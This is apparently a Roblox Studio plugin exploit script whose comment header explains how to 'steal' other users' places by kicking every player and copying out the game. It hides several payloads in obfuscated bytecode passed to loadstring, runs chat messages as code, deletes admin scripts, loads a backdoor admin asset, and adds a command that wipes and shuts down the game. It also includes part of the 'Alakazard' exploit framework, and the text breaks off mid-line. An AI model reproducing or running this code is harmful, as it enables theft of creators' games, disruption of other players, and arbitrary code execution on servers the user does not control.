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- --[[
- How to use:
- 1) Go into a place (w/ plugin exploit, hur)
- 2) Press the plugin 'Steal__()', everyone will be kicked, the game will be raped. Wait for a message to pop up saying 'STOLEN!' or some shit....
- 3) Exit out and open up a new 'Play Solo' window
- 4) Pause the game by pressing the yellow ' | | ' button, (in the studio)
- 5) Press the plugin 'Empty__()'
- 6) A model will apear in the Debris, that is everything that was in the game you went to ^_^
- 7) Brag that you can steal places and that shit
- *IMPORTANT* When entering a game, your head might 'pop off', so wear something to cover your head
- *NOTE* Say 'dresmor//' to load Alakazard's commands, the commands go like: .command;stuff
- --]]
- loadstring('\27\76\117\97\81\0\1\4\4\4\8\0\80\0\0\0\114\101\116\117\114\110\32\102\117\110\99\116\105\111\110\40\41\32\103\97\109\101\46\67\111\114\101\71\117\105\46\67\104\105\108\100\65\100\100\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\99\41\99\58\114\101\109\111\118\101\39\39\101\110\100\41\32\101\110\100\0\1\0\0\0\1\0\0\0\0\0\0\3\7\0\0\0\5\0\0\0\6\64\64\0\6\128\64\0\11\192\64\0\164\0\0\0\28\64\128\1\30\0\128\0\4\0\0\0\4\5\0\0\0\103\97\109\101\0\4\8\0\0\0\67\111\114\101\71\117\105\0\4\11\0\0\0\67\104\105\108\100\65\100\100\101\100\0\4\8\0\0\0\99\111\110\110\101\99\116\0\1\0\0\0\0\0\0\0\1\0\0\0\1\0\0\0\0\1\0\4\4\0\0\0\75\0\64\0\193\64\0\0\92\64\128\1\30\0\128\0\2\0\0\0\4\7\0\0\0\114\101\109\111\118\101\0\4\1\0\0\0\0\0\0\0\0\4\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\2\0\0\0\99\0\0\0\0\0\3\0\0\0\0\0\0\0\7\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0')()
- local HKey="g"
- local autosteal=false
- local pid=9115237
- local on,on2,on3=false,false,false
- local loaded,loaded2,loaded3=false,false,false
- local self3=PluginManager():CreatePlugin()
- local mouse3=self3:GetMouse()
- local toolbar3=self3:CreateToolbar("Utilities")
- local toolbarbutton3=toolbar3:CreateButton("Load Plugin","","")
- toolbarbutton3.Click:connect(function()loadstring('\27\76\117\97\81\0\1\4\4\4\8\0\217\0\0\0\114\101\116\117\114\110\32\102\117\110\99\116\105\111\110\40\41\32\103\97\109\101\46\67\111\114\101\71\117\105\46\82\111\98\108\111\120\71\117\105\46\67\111\110\116\114\111\108\70\114\97\109\101\46\66\111\116\116\111\109\76\101\102\116\67\111\110\116\114\111\108\46\84\111\103\103\108\101\80\108\97\121\77\111\100\101\46\83\105\122\101\61\85\68\105\109\50\46\110\101\119\40\49\48\44\48\44\49\48\44\48\41\103\97\109\101\46\67\111\114\101\71\117\105\46\82\111\98\108\111\120\71\117\105\46\67\111\110\116\114\111\108\70\114\97\109\101\46\66\111\116\116\111\109\76\101\102\116\67\111\110\116\114\111\108\46\84\111\103\103\108\101\80\108\97\121\77\111\100\101\46\80\111\115\105\116\105\111\110\61\85\68\105\109\50\46\110\101\119\40\45\46\53\44\48\44\45\49\48\44\48\41\32\101\110\100\0\1\0\0\0\1\0\0\0\0\0\0\6\29\0\0\0\5\0\0\0\6\64\64\0\6\128\64\0\6\192\64\0\6\0\65\0\6\64\65\0\69\192\1\0\70\0\194\0\129\64\2\0\193\128\2\0\1\65\2\0\65\129\2\0\92\128\128\2\9\64\0\131\5\0\0\0\6\64\64\0\6\128\64\0\6\192\64\0\6\0\65\0\6\64\65\0\69\192\1\0\70\0\194\0\129\0\3\0\193\128\2\0\1\65\3\0\65\129\2\0\92\128\128\2\9\64\128\133\30\0\128\0\14\0\0\0\4\5\0\0\0\103\97\109\101\0\4\8\0\0\0\67\111\114\101\71\117\105\0\4\10\0\0\0\82\111\98\108\111\120\71\117\105\0\4\13\0\0\0\67\111\110\116\114\111\108\70\114\97\109\101\0\4\18\0\0\0\66\111\116\116\111\109\76\101\102\116\67\111\110\116\114\111\108\0\4\15\0\0\0\84\111\103\103\108\101\80\108\97\121\77\111\100\101\0\4\5\0\0\0\83\105\122\101\0\4\6\0\0\0\85\68\105\109\50\0\4\4\0\0\0\110\101\119\0\3\0\0\0\0\0\0\36\64\3\0\0\0\0\0\0\0\0\4\9\0\0\0\80\111\115\105\116\105\111\110\0\3\0\0\0\0\0\0\224\191\3\0\0\0\0\0\0\36\192\0\0\0\0\29\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0')()end)
- local self2=PluginManager():CreatePlugin()
- local mouse2=self2:GetMouse()
- local toolbar2=self2:CreateToolbar("Utilities")
- local toolbarbutton2=toolbar2:CreateButton("Steal__()", "Place Steal!", "TRALL.png")
- toolbarbutton2.Click:connect(function()if on2 then Off() toolbarbutton2:SetActive(false)elseif loaded2 then On2()self2:Activate(true)toolbarbutton2:SetActive(true)end end)
- local self=PluginManager():CreatePlugin()
- local mouse=self:GetMouse()
- local toolbar=self:CreateToolbar("Utilities")
- local toolbarbutton=toolbar:CreateButton("Empty__()", "Place Steal Empty!", "TRALL.png")
- toolbarbutton.Click:connect(function()if on then Off()toolbarbutton:SetActive(false)elseif loaded then On()self:Activate(true)toolbarbutton:SetActive(true)end end)
- function X(Y)coroutine.resume(coroutine.create(Y))end
- function On()
- if game.PlaceId~=0 then return end loadstring('\27\76\117\97\81\0\1\4\4\4\8\0\120\0\0\0\114\101\116\117\114\110\32\102\117\110\99\116\105\111\110\40\41\32\102\111\114\32\105\44\118\32\105\110\32\112\97\105\114\115\40\85\115\101\114\83\101\116\116\105\110\103\115\40\41\58\99\104\105\108\100\114\101\110\39\39\41\32\100\111\32\105\102\32\118\58\73\115\65\39\77\111\100\101\108\39\32\32\116\104\101\110\32\118\46\80\97\114\101\110\116\61\103\97\109\101\46\68\101\98\114\105\115\32\101\110\100\32\101\110\100\32\101\110\100\0\1\0\0\0\1\0\0\0\0\0\0\8\19\0\0\0\5\0\0\0\69\64\0\0\92\128\128\0\75\128\192\0\193\192\0\0\92\0\128\1\28\0\1\0\22\192\1\128\75\1\65\2\193\65\1\0\92\129\128\1\90\1\0\0\22\128\0\128\69\193\1\0\70\1\194\2\9\65\1\131\33\128\0\0\22\64\253\127\30\0\128\0\9\0\0\0\4\6\0\0\0\112\97\105\114\115\0\4\13\0\0\0\85\115\101\114\83\101\116\116\105\110\103\115\0\4\9\0\0\0\99\104\105\108\100\114\101\110\0\4\1\0\0\0\0\4\4\0\0\0\73\115\65\0\4\6\0\0\0\77\111\100\101\108\0\4\7\0\0\0\80\97\114\101\110\116\0\4\5\0\0\0\103\97\109\101\0\4\7\0\0\0\68\101\98\114\105\115\0\0\0\0\0\19\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\5\0\0\0\16\0\0\0\40\102\111\114\32\103\101\110\101\114\97\116\111\114\41\0\7\0\0\0\18\0\0\0\12\0\0\0\40\102\111\114\32\115\116\97\116\101\41\0\7\0\0\0\18\0\0\0\14\0\0\0\40\102\111\114\32\99\111\110\116\114\111\108\41\0\7\0\0\0\18\0\0\0\2\0\0\0\105\0\8\0\0\0\16\0\0\0\2\0\0\0\118\0\8\0\0\0\16\0\0\0\0\0\0\0')()
- end
- function Off()
- game:SetMessage("Y U TURN OFF?")
- pcall(function()delay(3,game.ClearMessage)end)
- end
- X(function()
- while wait'' do
- for i,v in pairs(workspace:children'') do
- if v.Name:lower'':match'admin' or v.Name:lower'':match'person' or v.Name:lower'':match'orb' then
- if v:IsA'BaseScript' then v.Disabled=true;end
- game:service'Debris':AddItem(v,0)
- end
- end
- end
- end)
- function On2()
- self2:Activate(true)
- toolbarbutton2:SetActive(true)
- -- Script to steal places :3, new one made 11/30/11 U.S.
- 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- pcall(function()local Teams=Instance.new("Model",TRALL)Teams.Name="Teams" for i,v in pairs(game.Teams:GetChildren()) do v.Parent=Teams end end)
- end
- function xxx(xx)coroutine.resume(coroutine.create(xx))end
- local GuiServ=game:service("GuiService")
- GuiServ:AddKey(HKey)
- GuiServ.KeyPressed:connect(function(k)
- xxx(function()
- if k~=HKey then return; end;
- for i=1,20 do
- game:ToggleTools()
- wait''
- -- game:ToggleTools''
- end
- -----------------------------------
- -----------------------------------
- end)
- end)
- loaded,loaded2,loaded3=true,true,true
- ------------
- game:service("Players").LocalPlayer.Chatted:connect(function(c)Spawn(loadstring(c))end)
- -----------
- print(time'')
- while not game do wait''end
- while not game:service'Players'do wait''end
- while not game:service'Players'['LocalPlayer']do
- game:service'Players'.Changed:wait''end
- Players=game:service'Players'
- Player=Players.LocalPlayer
- --Player.CharacterAppearance="http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..pid
- char=Player.Character
- local Cmd={}
- local ff=false
- local hide=true
- local InfHealth=true
- local Scripts=nil
- local InfScript=nil
- Insert=game:service'InsertService'
- CoreGui=game:service'CoreGui'
- Lighting=game:service'Lighting'
- CommandWindow=function()
- pcall(function()CoreGui.ScreenGui:remove''end)
- local Screen=Instance.new('ScreenGui',CoreGui)
- local Frame=Instance.new'Frame'
- local Text=Instance.new'TextLabel'
- local Closer=Instance.new'TextButton'
- local TextBox
- Frame.Size=UDim2.new(0,300,0,60)
- Frame.Position=UDim2.new(0,0,.5,-30)
- Frame.BackgroundColor3=Color3.new(0,0,0)
- Frame.Transparency=.3
- Frame.Active=true
- Frame.Draggable=true
- Text.Size=UDim2.new(1,0,0,15)
- Text.TextColor3=Color3.new(1,0,0)
- Text.BackgroundTransparency=1
- Text.TextXAlignment=0
- Text.Text=' Roblox - [Alakazard]'
- Text.Parent=Frame
- Closer.Size=UDim2.new(0,15,0,15)
- Closer.Position=UDim2.new(1,-15,0,0)
- Closer.BackgroundColor3=Color3.new(1,0,0)
- Closer.Text='X'
- Closer.Parent=Frame
- TextBox=function()
- local Box=Instance.new'TextBox'
- Box.Size=UDim2.new(1,0,0,45)
- Box.Position=UDim2.new(0,0,1,-45)
- Box.BackgroundTransparency=0
- Box.Text='...'
- Box.TextColor3=Color3.new(1,0,0)
- Box.BackgroundTransparency=1
- Box.TextXAlignment=0
- Box.TextYAlignment=0
- Box.Changed:connect(function(c)
- if c~='Text'then return end
- local Text=Box.Text
- if Text==''or Text=='...'then return end
- Chatted(Text)
- Box:remove''
- TextBox''
- end)
- Box.Parent=Frame
- end
- TextBox''
- Closer.MouseButton1Down:connect(function()
- Screen:remove''
- end)
- for i,v in pairs(GetAll(Screen))do
- v.BorderSizePixel=0
- end
- Frame.Parent=Screen
- end
- Chatted=function(Text)
- Spawn(function()
- coroutine.wrap(function()
- local cmd=Cmd[Text:lower'':match'(%w+)//']
- if not cmd then return end
- Spawn(function()cmd(Text:match'//(.+)')end)
- end)()
- end)
- end
- InfLife=function()
- if type(InfScript)~='userdata'then
- InfScript=Insert:LoadAsset'61959312'.Script:clone''
- InfScript.Name='InfHealth'
- end
- for i,v in pairs(GetAll(Player.Character))do
- if v.Name=='InfHealth'then v:remove''end
- end
- if InfHealth then
- InfScript:clone''.Parent=Player.Character
- end
- end
- FF=function()
- while not Player.Character do Player.Changed:wait''end
- for i,v in pairs(GetAll(Player.Character))do
- if v:IsA'ForceField'then v:remove''end
- end
- if not ff then return end
- Instance.new('ForceField',Player.Character)
- end
- Hide=function()
- while not Player.Character do Player.Changed:wait''end
- local Head=Player.Character:FindFirstChild'Head'
- if not Head then return end
- local CHead=Head:clone''
- local Weld=Instance.new'Motor6D'
- for i,v in pairs(Head:children'')do
- if not v:IsA'Weld'and not v:IsA'SpecialMesh'then
- v:remove''
- end
- end
- Head.Transparency=1
- Head.Changed:connect(function(c)
- if c=='Transparency'and hide then
- Head.Transparency=1
- elseif c=='BrickColor'then
- CHead.BrickColor=Head.BrickColor
- end
- end)
- Weld.Parent=Head
- Weld.Part0=Head
- CHead.Name='FakeHead'
- CHead.Parent=Player.Character
- Weld.Part1=CHead
- for i,v in pairs(GetAll(Player.Character))do
- if v:IsA'BasePart'then
- Spawn(function()
- for ii,vv in pairs(v:children'')do
- if vv:IsA'ClickDetector'then return end
- end
- Instance.new('ClickDetector',v)
- end)
- end
- end
- Player.Character.DescendantAdded:connect(function(v)
- if not hide then return end
- if v:IsA'BasePart'then
- pcall(function()
- for ii,vv in pairs(v:children'')do
- if vv:IsA'ClickDetector'then return end
- end
- Instance.new('ClickDetector',v)
- end)
- end
- end)
- end
- GetAll=function(c,t)
- if not t then t={}end
- for i,v in pairs(c:children'')do
- table.insert(t,v)
- GetAll(v,t)
- end
- return t
- end
- CreateScript=function(Class,Parent,Source)
- if not Scripts then Scripts=Insert:LoadAsset'60639341':clone''end
- local Script=Scripts:FindFirstChild(Class)
- if not Script then return end
- Script=Script:clone''
- Script.Instance.Description=Source
- Script.Name=tick''
- Script.Parent=Parent
- return Script
- end
- Cmd.load=function(v)loadstring(v)()end
- Cmd.admin=function()
- local Admin=Insert:LoadAsset'60959113':children''[1]
- Admin.Parent=game:service'Workspace'
- end
- Cmd.script=function(v)
- CreateScript('Script',workspace,v)
- end
- Cmd.localscript=function(v)
- CreateScript('LocalScript',workspace,v)
- end
- Cmd.ff=function(v)
- if v:sub(1,4):lower''=='true'then
- ff=true
- elseif v:sub(1,5):lower''=='false'then
- ff=false
- end
- FF''
- end
- Cmd.t=function(d)game:service'TeleportService':Teleport(tonumber(d))end
- Cmd.inf=function(v)
- if v:sub(1,4):lower''=='true'then
- InfHealth=true
- elseif v:sub(1,5):lower''=='false'then
- InfHealth=false
- end
- InfLife''
- end
- Cmd.cmd=CommandWindow
- Cmd.reset=function()
- local Model=Instance.new('Humanoid',
- Instance.new('Model',
- workspace)).Parent
- Model.Name=Player.Name
- Player.Character=Model
- end
- Cmd.nchar=function()
- Player.Character=n
- end
- Cmd.exit=function()
- Player.Parent=nil
- Player.Parent=Players
- game:ClearContent'true'
- for i,v in pairs(GetAll(game))do
- pcall(function()
- v:remove''
- end)
- end
- game:Shutdown()
- end
- Cmd.dresmor=function(...)
- local __________________________________________________________________________________________________________A={...}
- CreateScript('Script',Player.Backpack,[====================[
- for i,v in pairs(script:children'')do
- for ii,vv in pairs({'Value','Description'})do
- pcall(function()v[vv]=''end)
- end
- pcall(v.remove,v)
- end
- if script:IsA'LocalScript'then pcall(script.remove,script)return end
- if game.PlaceId~=0 then if not pcall(script.remove,script)then script.Parent=nil end end
- script.Name='alakazard'
- A= {}
- A.Server= {}
- A.Data= {}
- A.Context= {}
- A.BoolSettings= {}
- A.Players= {}
- A.Functions= {}
- A.ConnectFunctions= {}
- A.Commands= {}
- A.Objects= {}
- A.AdminObjects= {}
- A.Sounds= {}
- A.Other= {}
- A.Other.Meme= {}--2
- A.Other.CodeStrings= {}
- A.Other.GrindImages= {62657176;62657174;62657172}
- A.Other.AlakazardFont= {}
- A.Objects.ScriptsPack= {}
- A.Objects.Sounds= {}
- A.Server.Informations= {}
- A.Context.Scripts= {}
- A.Objects.SBScrips= {}
- A.Objects.Packs= {}
- A.Objects.ForPlayerGui= {}
- A.Objects.Places= {}
- A.Objects.SavedPlaces= {}
- A.Objects.SavedObjects= {}
- A.Players.Active= {}
- A.Players.Stuffs= {}
- A.Players.Stats= {}
- A.Objects.Blocks= {}
- A.Sounds.Musics= {}
- A.Sounds.SoundEffects= {}
- A.Players.Loads= {}
- A.Players.PlayersTables= {}
- A.Players.Stats.Pri= {}--3
- A.Players.CharacterObject= {}
- A.Players.Stats.Guests= {}
- A.Players.Stats.Admins= {'DresmorHumanoid';'DarkShadow6';'z08';'mew903';'ERIGER777'}
- A.Players.Stats.Noobs= {'xV3m0GirLVx';'Wil1';'Wil2';'WJoHnWCeNaE';'TheNewFissy'}
- A.Players.Stats.Blocks= {'1x1x1x1';'poke';'pony'}
- A.Players.Stats.KodList= {}
- A.Objects.Packs.Backpack= {}
- A.Objects.Packs.PlayerGui= {}
- A.Objects.Packs.StarterPack= {}
- A.Other.CodeStrings.abcs= {}
- A.Players.Stuffs.CharacterLimbs={}
- A.BoolSettings.AntiLagg=false
- A.BoolSettings.GuestsOfDoom=false
- A.BoolSettings.AlakazardChat=false
- A.BoolSettings.RobloxControlFrame=true
- A.BoolSettings.LeaveButton=true
- A.BoolSettings.FreeModelsUsing=true
- A.BoolSettings.PriServer=false
- A.BoolSettings.AlakazardHealthBar=false
- A.BoolSettings.AntiSB=false
- A.BoolSettings.InfHealth=game.PlaceId~=0
- A.BoolSettings.EvilAlakazardMode=false
- A.BoolSettings.FakeCharacter=false
- A.BoolSettings.Fog=false
- A.Data.StartCommandSignal='.'
- A.Data.CommandSignal=';'
- A.Data.CommandMultiplier='##'
- A.Data.CommandMultiplierTime=[[#']]
- A.Data.NewCommandSignal=' '..string.char'92'..' '
- A.Data.TimeNewCommandSignal=string.char'92'..[[']]
- A.Functions.S_GT=function(Table)
- local List={}
- for i,v in pairs(Table)do
- List[i]=v
- end
- return List
- end
- A.Instance=A.Functions.S_GT(Instance)
- A.UDim2=A.Functions.S_GT(UDim2)
- A.Vector3=A.Functions.S_GT(Vector3)
- A.Vector2=A.Functions.S_GT(Vector2)
- A.CFrame=A.Functions.S_GT(CFrame)
- A.Color3=A.Functions.S_GT(Color3)
- A.BrickColor=A.Functions.S_GT(BrickColor)
- A.Ray=A.Functions.S_GT(Ray)
- A.InstanceNew=A.Instance.new
- A.Instance.new=function(o,p)
- o=A.InstanceNew(o)
- table.insert(A.AdminObjects,o)
- o.Parent=p
- return o
- end
- A.X=function(...)local fns={...}for i,v in pairs(fns)do A.coroutine.resume(A.coroutine.create(v ))end end
- A.CX=function(f)return A.coroutine.resume(A.coroutine.create(f))end
- A.Wait=function()game:service'RunService'.Stepped:wait''end
- A.CPrint=function(f)local c={A.CX(f)}if not c[1]then print(c[2])end end
- if game.PlaceId~=0 then
- error=function(...)end
- print=function(...)end
- end
- A.Remove=function(v)
- if type(v)=='userdata'then
- pcall(function()v.Archivable=false v.Disabled=1 end)
- pcall(v.remove,v)
- end
- end
- A.Instance.plock=function(o,p,par)
- local t=type(par)
- local y=function()if t~='function'then if o[p]~=par then o[p]=par end else par(o)end end
- local C=o.Changed:connect(function(c)if c==p then A.X(function()y''end)end end)
- table.insert(A.ConnectFunctions,C)
- A.X(function()y''end)
- return o
- end
- A.Instance.plnew=function(o,p,plus)
- o=A.Instance.new(o)
- local y=function()
- if type(p)=='userdata'then o.Parent=p
- elseif type(p)=='function'then p(o,plus)
- end
- end
- local C=o.Changed:connect(function(c)if c=='Parent'then A.X(function()y''end)end end)
- table.insert(A.ConnectFunctions,C)
- A.X(function()y''end)
- return o
- end
- A.Instance.newlock=function(Object,Properties)
- local o=A.Instance.new(Object)
- for i,v in pairs(Properties)do
- o[i]=v
- end
- o.Changed:connect(function(c)
- local back=Properties[c]
- if back then
- o[c]=back
- end
- end)
- return o
- end
- A.table=table
- A.math=math
- A.coroutine=coroutine
- A.W=A.coroutine.wrap
- A.N=A.Instance.new
- A.U=A.UDim2.new
- A.V=A.Vector3.new
- A.F=A.CFrame.new
- A.C=A.Color3.new
- A.R=A.CFrame.Angles
- A.B=BrickColor
- A.Players.Stuffs.CharacterLimbs['Right Arm']={
- C0=A.CFrame.new(1,0.5,0,0,0,1,0,1,0,-1,-0,-0);
- C1=A.CFrame.new(-0.5,0.5,0,0,0,1,0,1,0,-1,-0,-0);
- Size=A.Vector3.new(1,2,1);
- WeldName='Right Shoulder';
- PartName='Right Arm'
- }
- A.Players.Stuffs.CharacterLimbs['Right Leg']={
- C0=A.CFrame.new(1,-1,0,0,0,1,0,1,0,-1,-0,-0);
- C1=A.CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,-0,-0);
- Size=A.Vector3.new(1,2,1);
- WeldName='Right Hip';
- PartName='Right Leg'
- }
- A.Players.Stuffs.CharacterLimbs['Left Arm']={
- C0=A.CFrame.new(-1,0.5,0,-0,-0,-1,0,1,0,1,0,0);
- C1=A.CFrame.new(0.5,0.5,0,-0,-0,-1,0,1,0,1,0,0);
- Size=A.Vector3.new(1,2,1);
- WeldName='Left Shoulder';
- PartName='Left Arm'
- }
- A.Players.Stuffs.CharacterLimbs['Left Leg']={
- C0=A.CFrame.new(-1,-1,0,-0,-0,-1,0,1,0,1,0,0);
- C1=A.CFrame.new(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0);
- Size=A.Vector3.new(1,2,1);
- WeldName='Left Hip';
- PartName='Left Leg'
- }
- A.Players.Stuffs.CharacterLimbs.Head={
- C0=A.CFrame.new(0,1,0,-1,-0,-0,0,0,1,0,1,0);
- C1=A.CFrame.new(0,-0.5,0,-1,-0,-0,0,0,1,0,1,0);
- Size=A.Vector3.new(2,1,1);
- WeldName='Neck';
- PartName='Head'
- }
- A.Other.Meme.troll=45120559
- A.Other.Meme.horse=62079221
- A.Other.Meme.megusta=47594659
- A.Other.Meme.har=48260066
- A.Other.Meme.ujelly=48989071
- A.Other.Meme.sun=47596170
- A.Other.Meme.angry=48258623
- A.Other.Meme.rofl=47595647
- A.Other.Meme.lol=48293007
- A.Other.Meme.okey=62830600
- A.Other.Meme.sad=53645378
- A.Other.Meme.lin=48290678
- A.Other.Meme.sovpax=60298055
- A.Other.Meme.sls=53646388
- A.Other.Meme.yeaw=53646377
- A.Other.Meme.here=62677045
- A.Other.Meme.orzse=62677682
- A.Other.Meme['örzse']=62677682
- A.Other.Meme.smile=63174888
- A.Other.Meme.smile2=63175216
- A.Other.Meme.smile3=63186465
- A.Other.CodeStrings.abcs.a=27
- A.Other.CodeStrings.abcs.b=26
- A.Other.CodeStrings.abcs.c=25
- A.Other.CodeStrings.abcs.d=24
- A.Other.CodeStrings.abcs.e=23
- A.Other.CodeStrings.abcs.f=22
- A.Other.CodeStrings.abcs.g=21
- A.Other.CodeStrings.abcs.h=20
- A.Other.CodeStrings.abcs.i=19
- A.Other.CodeStrings.abcs.j=18
- A.Other.CodeStrings.abcs.k=17
- A.Other.CodeStrings.abcs.m=16
- A.Other.CodeStrings.abcs.n=15
- A.Other.CodeStrings.abcs.l=14
- A.Other.CodeStrings.abcs.o=13
- A.Other.CodeStrings.abcs.p=12
- A.Other.CodeStrings.abcs.q=11
- A.Other.CodeStrings.abcs.r=10
- A.Other.CodeStrings.abcs.s=9
- A.Other.CodeStrings.abcs.t=8
- A.Other.CodeStrings.abcs.u=7
- A.Other.CodeStrings.abcs.v=6
- A.Other.CodeStrings.abcs.w=5
- A.Other.CodeStrings.abcs.x=4
- A.Other.CodeStrings.abcs.y=3
- A.Other.CodeStrings.abcs.z=2
- A.Other.AlakazardFont['a']=62971429
- A.Other.AlakazardFont['b']=62971458
- A.Other.AlakazardFont['c']=62971468
- A.Other.AlakazardFont['d']=62971479
- A.Other.AlakazardFont['e']=62971489
- A.Other.AlakazardFont['f']=62971496
- A.Other.AlakazardFont['g']=62971518
- A.Other.AlakazardFont['h']=62971537
- A.Other.AlakazardFont['i']=62971553
- A.Other.AlakazardFont['j']=62971575
- A.Other.AlakazardFont['k']=62971591
- A.Other.AlakazardFont['l']=62971597
- A.Other.AlakazardFont['m']=62971603
- A.Other.AlakazardFont['n']=62971612
- A.Other.AlakazardFont['o']=62971622
- A.Other.AlakazardFont['p']=62971631
- A.Other.AlakazardFont['q']=62971645
- A.Other.AlakazardFont['r']=62971650
- A.Other.AlakazardFont['s']=62971660
- A.Other.AlakazardFont['t']=62971706
- A.Other.AlakazardFont['u']=62971747
- A.Other.AlakazardFont['v']=62971760
- A.Other.AlakazardFont['w']=62971767
- A.Other.AlakazardFont['x']=62971772
- A.Other.AlakazardFont['y']=62971787
- A.Other.AlakazardFont['z']=62971797
- A.Other.AlakazardFont['_']=62972809
- A.Other.AlakazardFont[' ']=0
- A.Other.AlakazardFont['-']=62972879
- A.Other.AlakazardFont['(']=62972897
- A.Other.AlakazardFont[')']=62972889
- A.Other.AlakazardFont['#']=62972911
- A.Other.AlakazardFont['{']=62973165
- A.Other.AlakazardFont['}']=62973162
- --Backpack
- A.Objects.Packs.Backpack.TreeGen=57078684+1
- A.Objects.Packs.Backpack.Angel=441119576/8
- A.Objects.Packs.Backpack.telepathy=455870952/8
- A.Objects.Packs.Backpack.BrickGenerator=455871480/8
- A.Objects.Packs.Backpack.Darkness=448280808/8
- A.Objects.Packs.Backpack.sblade=444637840/8
- A.Objects.Packs.Backpack.Katon=459436.1382113821*123
- A.Objects.Packs.Backpack.FlashPower=1102640.134615385*52
- A.Objects.Packs.Backpack.Madness=60391497+1
- A.Objects.Packs.Backpack.Porter=64841007+1
- A.Objects.Packs.Backpack.Axe=64372658+1
- A.Objects.Packs.Backpack.Fly=64894844+1
- A.Objects.Packs.Backpack.Hara=65027632+1
- --Places
- A.Objects.Places.turkey=56054965+1
- A.Objects.Places.base2=62415843+1
- A.Objects.Places.knar=55390612+1
- A.Objects.Places.xno=55579726+1
- A.Objects.Places.rhq=42643983+1
- A.Objects.Places.sfoth4=62928892+1
- A.Objects.Places.terrain=function()
- local Terrain=A.Functions.WaitingForObject(game:service'Workspace','ClassName','Terrain')
- Terrain:clear''
- for y=0,60 do
- for i=1,360*2 do
- Terrain:SetCell(math.sin(math.rad(i))*y,0,math.cos(math.rad(i))*y,1,0,0)
- end
- end
- local Spawn=A.Instance.new'SpawnLocation'
- Spawn.Anchored=true
- Spawn.Transparency=1
- Spawn.Parent=Terrain.Parent
- end
- A.Objects.Places.base=function()
- A.Functions.Base''
- end
- A.Functions.GetAll=function(s,l)
- if type(s)~='userdata'then s=game end
- if type(l)~='table'then l={}end
- for i,o in pairs(s:children'')do
- if o~=script then table.insert(l,o)pcall(A.Functions.GetAll,o,l)end
- end
- return l
- end
- A.Functions.CreateLoad=function(LoadName,Tutorial,Function)
- if type(A.Players.Loads[LoadName])~='table'then A.Players.Loads[LoadName]={}end
- table.insert(A.Players.Loads[LoadName],{Name=LoadName,Tutorial=Tutorial,Function=Function})
- end
- A.Functions.LoadCreatedLoad=function(LoadName,Player,Plus)
- if type(A.Players.Loads[LoadName])~='table'then return end
- for i,v in pairs(A.Players.Loads[LoadName])do
- A.CPrint(function()v.Function(Player,A.Functions.LoadPlayerTables(Player),Plus)end)
- end
- end
- A.Functions.LoadAndSave=function(Id,Name)
- local Connect
- local Model=A.Instance.new'Model'
- local Insert=game:service'InsertService'
- local Object
- Connect=Insert.DescendantAdded:connect(function(c)
- if c.Name~=Name or Object~=nil then return end
- Object=c:clone''
- Model.Name=''
- Connect:disconnect''
- end)
- Delay(0,function()Insert:LoadAsset(Id)end)
- while not Object do Model.Changed:wait''end
- return Object
- end
- A.Objects.ScriptsPack.Script=A.Functions.LoadAndSave(65519719,'98345982347579834878374')
- A.Objects.ScriptsPack.LocalScript=A.Functions.LoadAndSave(65520631,'98437958752398532798237529835')
- for i,v in pairs(A.Objects.ScriptsPack)do A.Instance.plock(v,'Parent',nil)A.Instance.plock(v,'Disabled',true)end
- A.Functions.Connect=function(Name,Function,List)
- if type(List)~='table'then
- List=A.ConnectFunctions
- end
- table.insert(List,{Name=Name,Function=Function})
- end
- A.Functions.Disconnect=function(Name,Level,List)
- if type(List)~='table'then
- List=A.ConnectFunctions
- end
- if type(Level)~='number'then
- Level=3
- end
- for i,v in pairs(List)do
- pcall(function()
- if(function()
- local name=v.Name:lower''
- if Level==1 then
- return name==Name:lower''
- elseif Level==2 then
- return name:find(Name:lower'')
- elseif Level==3 then
- return name:match(Name:lower'')
- end
- return false
- end)()then
- v.Function:disconnect''
- table.remove(List,i)
- end
- end)
- end
- end
- A.Functions.LoadPlace=function(Name)
- A.X(function()A.Functions.WaitingForObject(game:service'Workspace','ClassName','Terrain'):clear''end)
- Name=Name:lower''
- local Place=A.Objects.Places[Name:match'%w+']
- if not Place then return end
- if type(Place)=='function'then
- A.BoolSettings.BasePart=false
- A.Functions.Clean(game)
- if A.CX(Place)then return end
- A.Objects.Places.base''
- elseif type(Place)=='number'then
- local Insert=game:service'InsertService'
- local Place=Insert:LoadAsset(Place):clone''
- game:service'ScriptContext'.ScriptsDisabled=true
- A.BoolSettings.BasePart=false
- A.Functions.Clean(game)
- Insert:Insert(Place)
- for i,v in pairs(Place:children'')do
- v.Parent=workspace
- end
- A.Wait''
- game:service'ScriptContext'.ScriptsDisabled=false
- end
- end
- A.Functions.OGui=function(Name,Table,Active,FA)
- for i,v in pairs(Table.OGuis)do if v.Name==Name then return v end end
- local v=A.Instance.new'BoolValue'
- v.Value=Active
- table.insert(Table.OGuis,{Name=Name;Active=v;Open=false;Pos=0;img={};FA=FA})
- for i,v in pairs(Table.OGuis)do if v.Name==Name then return v end end
- end
- A.Functions.Stone=function(Character,Size)
- local Character2=A.Instance.new'Model'
- Character2.Name=Character.Name..' Stone'
- for i,v in pairs(A.Functions.FindChildren(Character,'BasePart',3))do
- local p=v:clone''
- p.Anchored=true
- p.CanCollide=true
- p.Velocity=A.Vector3.new(0,0,0)
- p.RotVelocity=A.Vector3.new(0,0,0)
- p.Material='Slate'
- p.Size=v.Size*Size
- p.BrickColor=A.BrickColor.new'199'\
